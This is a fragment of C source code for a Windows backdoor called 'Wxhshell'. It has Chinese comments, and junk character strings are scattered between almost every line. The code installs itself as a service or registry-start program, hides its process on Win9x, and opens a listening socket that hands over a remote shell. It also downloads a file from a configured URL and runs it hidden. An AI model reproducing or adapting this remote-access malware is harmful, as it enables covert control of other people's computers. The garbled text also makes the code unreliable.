BL@, unsigned long cbNeeded; \En"=)A BoOuN94 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T8%!l40v /t! 5||G CloseHandle(hProcess); An^)K qM6hE.J if(strstr(procName,"services")) return 1; // 以服务启动 !\'H{,G :{VXDT" return 0; // 注册表启动 i7cUp3 } *e<}hmDr %nG>3.% // 主模块 ^Wn+G8n int StartWxhshell(LPSTR lpCmdLine) jatlv/, { #)@#Qd SOCKET wsl; e\^}PU BOOL val=TRUE; sKJr34 int port=0; 0-;>O|U3 struct sockaddr_in door; =vvd)og SlHDBr!.z if(wscfg.ws_autoins) Install(); (h=]Ox /W .G-|: port=atoi(lpCmdLine); 5#s],h Ab>Kf r# if(port<=0) port=wscfg.ws_port; ]mz '(t (h@!_qi9: WSADATA data; /y|ZAN if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7U?#Xi5 A{M7 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; iOSt=-p setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gs=ok8w door.sin_family = AF_INET; )WW*X6[k door.sin_addr.s_addr = inet_addr("127.0.0.1"); Lusd kc7 door.sin_port = htons(port); ofw&?Sk0 %d*0"<v if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l9OpaOVfJ closesocket(wsl); 6VuyKt return 1; ,>za|y<n } }0Uh<v@ /8nUecr if(listen(wsl,2) == INVALID_SOCKET) { DVMdRfA closesocket(wsl); R*0mCz^+h return 1; ,zr,>^v } 12?!Z Wxhshell(wsl); nRu %0Op WSACleanup(); ~WORC\kCW {MyI3mvA return 0; 5k9
vYW5k %NJ0Y(:9( } +rA#]#hN GAZRQ // 以NT服务方式启动 s6Dkh}:d VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (5,x5l]-N { (6NDY5h~=n DWORD status = 0; fR~0Fy Gp DWORD specificError = 0xfffffff; |K;9b-\ '/t9#I@G\ serviceStatus.dwServiceType = SERVICE_WIN32; hdcB*j?4 serviceStatus.dwCurrentState = SERVICE_START_PENDING; >HRNB&]LdP serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -Eig#]Se3 serviceStatus.dwWin32ExitCode = 0; =:xX~,qmv serviceStatus.dwServiceSpecificExitCode = 0; UNwjx7usD serviceStatus.dwCheckPoint = 0; BDzAmrO< serviceStatus.dwWaitHint = 0; B|yz~wuS hN~H8.g hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '+Z Jf&Ox if (hServiceStatusHandle==0) return; Ge=^q. *s-s1v status = GetLastError(); );_ /0: if (status!=NO_ERROR) oU @!R { U<Qi`uoj! serviceStatus.dwCurrentState = SERVICE_STOPPED; +N7<[hE; serviceStatus.dwCheckPoint = 0; lJ]QAO serviceStatus.dwWaitHint = 0; tm1&OY serviceStatus.dwWin32ExitCode = status; u\=
05N6G serviceStatus.dwServiceSpecificExitCode = specificError; Otx>S' 5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); n4M
Xa()P1 return; 3e47UquZ } rXT? w]4 MRK=\qjD
serviceStatus.dwCurrentState = SERVICE_RUNNING; upk+L^ serviceStatus.dwCheckPoint = 0; 6-tIe_5 serviceStatus.dwWaitHint = 0; zPybPE8 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *?~"Jw } n7G`b' uDkX{<_Xe // 处理NT服务事件,比如:启动、停止 =+Odu VOID WINAPI NTServiceHandler(DWORD fdwControl) oNw=O>v { S)wP];]`K switch(fdwControl) o<txm ?+N { 1a V32oK case SERVICE_CONTROL_STOP: iGz*4^% serviceStatus.dwWin32ExitCode = 0; E>i<2 serviceStatus.dwCurrentState = SERVICE_STOPPED; FG{,l=Z0 serviceStatus.dwCheckPoint = 0; x V`l6QS serviceStatus.dwWaitHint = 0; 4 qY { `-P1Y SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1KGf @u%-1 } + 9|0\Q return; 00f'G2n case SERVICE_CONTROL_PAUSE: .5!`wwVi serviceStatus.dwCurrentState = SERVICE_PAUSED; C'y2!Q/" break; U^
,! case SERVICE_CONTROL_CONTINUE: i2(v7Gef serviceStatus.dwCurrentState = SERVICE_RUNNING; z^.dYb7< break; hcRe,}wJ case SERVICE_CONTROL_INTERROGATE: jP_s(PQ break; O9_1a=M }; 8 @(?E[&O> SetServiceStatus(hServiceStatusHandle, &serviceStatus); @_$$'XA7 } lF.kAEC V!Sm,S( // 标准应用程序主函数 3{t[>O; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _deEs5i { X$1YvYsID ~|Ln9f-g // 获取操作系统版本 fe`_0lxj OsIsNt=GetOsVer(); _[rQt8zn GetModuleFileName(NULL,ExeFile,MAX_PATH); dQ-shfTr] j$XaO%y) // 从命令行安装 v=hn# U if(strpbrk(lpCmdLine,"iI")) Install(); xyM|q9Gf@ _h \L6. // 下载执行文件 &Wb"/Hn2 if(wscfg.ws_downexe) { [q3zs_nz if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <;W-!R759 WinExec(wscfg.ws_filenam,SW_HIDE); DCZG'eb }
Y/I)ECm );JWrkpz if(!OsIsNt) {
kSc~gJrne // 如果时win9x,隐藏进程并且设置为注册表启动 x3`JC&hF,q HideProc(); *s"OqTM]x StartWxhshell(lpCmdLine); ABe25Sus } lVq5>:'}^; else 9kF0H
a}J if(StartFromService()) 73.+0x // 以服务方式启动 Sew*0S( StartServiceCtrlDispatcher(DispatchTable); GH-Fqz else P7,g^:$ // 普通方式启动 !
}e75=x StartWxhshell(lpCmdLine); 9_jiUZFje NziCN*6 return 0; 3imsIBr }
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